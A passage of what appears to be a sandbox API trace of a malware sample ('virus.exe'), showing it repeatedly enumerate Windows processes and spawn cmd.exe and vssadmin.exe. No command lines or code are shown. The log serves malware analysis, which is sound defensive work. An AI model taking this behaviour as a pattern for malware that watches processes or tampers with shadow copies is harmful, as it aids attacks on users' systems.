[0266.174] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0266.175] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.175] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.176] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.177] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.177] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.178] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0266.178] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.179] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.179] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0266.180] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0266.180] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0266.180] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0266.181] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.181] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0266.182] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0266.182] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0266.183] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0266.183] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0266.184] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0266.184] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.185] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.185] Process32NextW (in: hSnapshot=0xc8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0266.186] CloseHandle (hObject=0xc8) returned 1 [0266.186] Sleep (dwMilliseconds=0x1f4) [0266.747] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xc0 [0266.749] Process32FirstW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0266.749] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0266.749] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0266.750] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.750] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0266.751] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.751] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0266.751] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0266.752] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0266.752] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0266.753] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.753] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.754] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.754] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.755] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.755] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0266.755] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.756] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.756] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0266.757] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0266.757] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0266.758] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0266.758] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.758] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0266.759] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0266.759] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0266.760] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0266.760] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0266.761] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0266.761] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.762] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.762] Process32NextW (in: hSnapshot=0xc0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0266.762] CloseHandle (hObject=0xc0) returned 1 [0266.762] Sleep (dwMilliseconds=0x1f4) [0267.336] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x190 [0267.338] Process32FirstW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.338] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0267.339] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0267.339] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.339] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0267.340] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.340] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0267.340] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0267.341] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0267.341] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0267.341] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.342] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.342] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.343] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.343] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.343] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0267.344] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.344] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.344] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0267.345] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0267.345] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0267.345] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0267.346] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.346] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0267.347] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0267.347] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0267.347] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, 